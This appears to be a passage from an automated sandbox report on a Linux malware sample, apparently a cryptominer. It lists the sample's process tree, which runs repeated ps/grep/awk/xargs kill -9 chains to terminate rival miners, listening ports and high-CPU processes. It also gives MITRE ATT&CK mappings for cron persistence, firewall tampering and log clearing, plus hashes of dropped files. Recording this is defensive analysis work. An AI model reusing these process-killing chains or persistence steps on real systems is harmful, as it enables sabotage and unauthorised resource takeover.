  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1751
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1761
- /bin/grep
  grep -v "("
  2⤵
  PID:1766
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1765
- /bin/grep
  grep -v bin
  2⤵
  PID:1764
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1768
- /bin/grep
  grep -v postgres
  2⤵
  PID:1769
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1763
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1767
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1770
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1762
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1771
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1777
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1776
- /bin/grep
  grep -v grep
  2⤵
  PID:1774
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1775
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1782
- /bin/grep
  grep -v grep
  2⤵
  PID:1780
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1781
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1779
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1778
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1787
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1786
- /bin/grep
  grep ./crun
  2⤵
  PID:1784
- /bin/grep
  grep -v grep
  2⤵
  PID:1785
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1783
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1791
- /bin/grep
  grep -v grep
  2⤵
  PID:1790
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1792
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1789
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1788
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1797
- /bin/grep
  grep :3333
  2⤵
  PID:1795
- /bin/grep
  grep -v grep
  2⤵
  PID:1794
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1796
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1802
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1801
- /bin/grep
  grep :5555
  2⤵
  PID:1800
- /bin/grep
  grep -v grep
  2⤵
  PID:1799
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1798
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1807
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1806
- /bin/grep
  grep -v grep
  2⤵
  PID:1804
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1805
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1803
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1811
- /bin/grep
  grep log_
  2⤵
  PID:1810
- /bin/grep
  grep -v grep
  2⤵
  PID:1809
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1808
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1817
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1816
- /bin/grep
  grep systemten
  2⤵
  PID:1815
- /bin/grep
  grep -v grep
  2⤵
  PID:1814
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1813
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1822
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:1823
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:1823
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:1823
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:1823
- - /sbin/kill
    kill -9 14
    3⤵
    PID:1823
- - /bin/kill
    kill -9 14
    3⤵
    PID:1823
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1821
- /bin/grep
  grep netns
  2⤵
  PID:1820
- /bin/grep
  grep -v grep
  2⤵
  PID:1819
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1818
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1827
- /bin/grep
  grep voltuned
  2⤵
  PID:1826
- /bin/grep
  grep -v grep
  2⤵
  PID:1825
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Reads runtime system information
  PID:1828
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1824
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1833
- /bin/grep
  grep darwin
  2⤵
  PID:1831
- /bin/grep
  grep -v grep
  2⤵
  PID:1830
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1829
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1832
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1838
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1837
- /bin/grep
  grep -v grep
  2⤵
  PID:1835
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1836
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1834
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1843
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1842
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1841
- /bin/grep
  grep -v grep
  2⤵
  PID:1840
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1848
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1847
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1846
- /bin/grep
  grep -v grep
  2⤵
  PID:1845
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1844
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1853
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1852
- /bin/grep
  grep -v grep
  2⤵
  PID:1850
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1851
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1849
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1858
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1857
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1856
- /bin/grep
  grep -v grep
  2⤵
  PID:1855
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1854
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1863
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1862
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1861
- /bin/grep
  grep -v grep
  2⤵
  PID:1860
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1859
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1868
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1866
- /bin/grep
  grep -v grep
  2⤵
  PID:1865
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1867
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1864
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1873
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1871
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1872
- /bin/grep
  grep -v grep
  2⤵
  PID:1870
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1869
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1876
- /bin/grep
  grep -v grep
  2⤵
  PID:1875
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1878
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1874
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1877
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1883
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1882
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1881
- /bin/grep
  grep -v grep
  2⤵
  PID:1880
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1879
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1888
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1887
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1886
- /bin/grep
  grep -v grep
  2⤵
  PID:1885
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1892
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1893
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1891
- /bin/grep
  grep -v grep
  2⤵
  PID:1890
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1889
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1898
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1897
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1896
- /bin/grep
  grep -v grep
  2⤵
  PID:1895
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1894
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1902
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1901
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1903
- /bin/grep
  grep -v grep
  2⤵
  PID:1900
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1899
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1907
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1906
- /bin/grep
  grep -v grep
  2⤵
  PID:1905
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1908
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1904
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1912
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1911
- /bin/grep
  grep -v grep
  2⤵
  PID:1910
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1913
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1909

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
825B

MD5
5a4c6dcba46725a4f63ac80b89aca7fd

SHA1
0cbd853e40dc5300c89c408b67fd661a7b3439ae

SHA256
5169f83a3b954b2f7b0e87f720dcfd7a0c36a759d0996b71e8b2175416ba5477

SHA512
90082cd8c81816f3db3ae1011ec15835cca4c1f794fd4d138da1154f20f13d041ab23ef5bf7d4bd4c0c6d82af9bb9e6da6d56e8091d6edf1fbc2699ff9714874

Download Submit
/var/mail/user

Filesize
1KB

MD5
61cdcbc4cfe708ad3b563b9c5ef7fe93

SHA1
a28a04478592818251dd7981bc534dd2979b5819

SHA256
3c543eb3885f41eca60c797ee604e25ca52f2995ea7ff6e442a440f8b19787ed

SHA512
b2a354f3b13debcc04cf75a92419780e55e0d9ba3c75a76d494dabb2bf4e788a2e00086cc9d52f86c000f69c82cbd837ddaa17f36c31dc08b631f9c3d3dff20e

Download Submit
/var/spool/cron/crontabs/tmp.ZpuUld

Filesize
175B

MD5
68b1ef3ae3754f83baae3e57e7375658

SHA1
e403fb785cbfaebce7d34bb59a1637940ec69fbb

SHA256
a4b75b5257e10798de986c5b0b0045e1db7c27f6eec40fde451a4575a0996eff

SHA512
313433d0318aa4bbc4ca6d8ef42cd30c297fee0bfdb778ee4a70436b3a92afaed56b1dc625171228ee01c24f5b6ebb84467ec768740e6f2da7657be1a071aabf

Download Submit
/var/spool/cron/crontabs/tmp.cUivI0

Filesize
175B

MD5
863e5e635042ef403368dcb7df3dde10

SHA1
24cdd6bbd80be12e20a929168b9d81ac3c133111

SHA256
c2b28ea7257fc37eb17e2a061fcd3c153dd2b8f69e9f28b218c88187242a0e3a

SHA512
57af1f9bc06f31c322c4cb808454e57d0a418111058495e9e69990143c4cc612fe6f2a9c3e41646a285d46b33e1e57588fea9e0eeb567dbe2851057b013298f7

Download Submit
/var/spool/cron/crontabs/tmp.pdLySk

Filesize
175B

MD5
0dae8286870c02cc1090110a555334e3

SHA1
6e612c23524684ebf202146fff30ee96f0881f6c

SHA256
f5565984a231421dc3b47c2135d97e9f2b525199bd577c149ee4664c39154fb8

SHA512
b5d9bdad97079e3c3fbf117b74de87d057c73b2c63327133d2b4674414dd8329afdd1ce5355df0593d8a3307a1534dcb9990253d714c1e8a271892f57439864b

Download Submit
/var/spool/exim4/input/1tmOAf-0000Av-JJ-D

Filesize
128B

MD5
d5b86f114c356a6dd4cd48e8c44bedcc

SHA1
5f6f964028d8607665f43399c299673027d5f0e6

SHA256
445149cb53294ef9e1a4494514898a88b2286c314cb10af3af844f5143949993

SHA512
901c1d58b7038e59ed348b22c356221d3f4055d13caec2f2b3a3d45bad30dca29ce60d27458c2fc93c860c603cec75d9a1dbb07b950960ad42d0d60de4892e4c

Download Submit
/var/spool/exim4/input/1tmOAf-0000Av-JJ-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1tmOAf-0000Ay-Kl-D

Filesize
146B

MD5
cbcff05da010be12abf5a98a2b418d9e

SHA1
6457920af3bad7d8c0cf0ae5325d39d8d7b1c52c

SHA256
50e09e83715c59fada4f0e3fd62eff31f40731414b448acb60a2d784ee8d8124

SHA512
bb8ebea550851cb43db2c9e62eea946d1ce137db2e435a1bf9f5347822eaf13080aa863e63fbacb9f93b96a8ddfa80c47a6034dd1a559d2d5cfa500d77d3eafe

Download Submit
/var/spool/exim4/input/hdr.677

Filesize
915B

MD5
37e6af78cb5d7384ab6eff184048f5a0

SHA1
dcca6c9e052cad980c0f60a3b53e93630edba05d

SHA256
ec2dca3599eb92b8264562b600509d176d1399ea74271f43a75e700a23da3183

SHA512
6425dcb860cbc1397c24bff9a4e04c32aebcaffe27423c1c6a26b35ee140c69000084928e1bcd2ecca74ffa19c5673ac3bcaf9708fad218eb707f24c108b16bc

Download Submit
/var/spool/exim4/msglog/1tmOAf-0000Av-JJ

Filesize
288B

MD5
be66cce59f68ead11641a8634a317316

SHA1
c28d2cb4d214c34cb4882e4ef205ab159bb40d3e

SHA256
44d1cdceb1c6029a8571f717a1caa7a25b6c79f3bf62bacf0bd36fb415866b46

SHA512
7fca07ad336561820a73ac1d4c80e14623db971b72510996ab654315d58124a1b464f64e15d3db96a4cad343e19062dc0d67b3468aadd4963329fd5a033017c3

Download Submit
/var/spool/exim4/msglog/1tmOAf-0000Av-JJ

Filesize
89B

MD5
e952f6fc9d8fe99e64c64c9c8d2e9e2d

SHA1
f38fbe0fd6fa974912268c1fcb4326edce09cf43

SHA256
1549905fc0d720863794ab6ba4e25241fee08498a7a0a93636d31373365e030b

SHA512
a470c95c46223a24db30d768cdaccdd68746665210687b12e6c1da0e413a44bfc7133360dea26de10d5d3131dead0ae6438f8a67bdf4d557c3f90396fc97e172

Download Submit
/var/spool/exim4/msglog/1tmOAf-0000Ay-Kl

Filesize
288B

MD5
240e56379bf3c70f23864a6b1e6c2313

SHA1
5faf387ad5f4d1b6cb7539ab6b6921b9514fa904

SHA256
a539e12e0bfeda306121557bbd3cca7ad3a5e1deebf52d2e6a4a1ad08c09c0a9

SHA512
42bd3bf2008bd860fe42066c0db4c1f9a2a6f3081a9044288326b11d6cf76a4d135050c1c7e86c30995710871ba858dc0fe950055283899c3ac5222e92bc1ea6

Download Submit
/var/spool/exim4/msglog/1tmOAf-0000Ay-Kl

Filesize
89B

MD5
d514836f110589832a767b6b6a04a286

SHA1
034adeb5040321098232db93a9ad8deb740cb699

SHA256
d0d429df92f7f8ea027057c86c27e07de23c90c1f12d6b02261e2dd37fecf1e3

SHA512
3078e8048e1a1ca0c3d82e88e165387006d2522b988ee50954b7525c8e883d94cc50f26214934f206661053c32825a0a8db677315c89bd6f4351dd9098848228

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads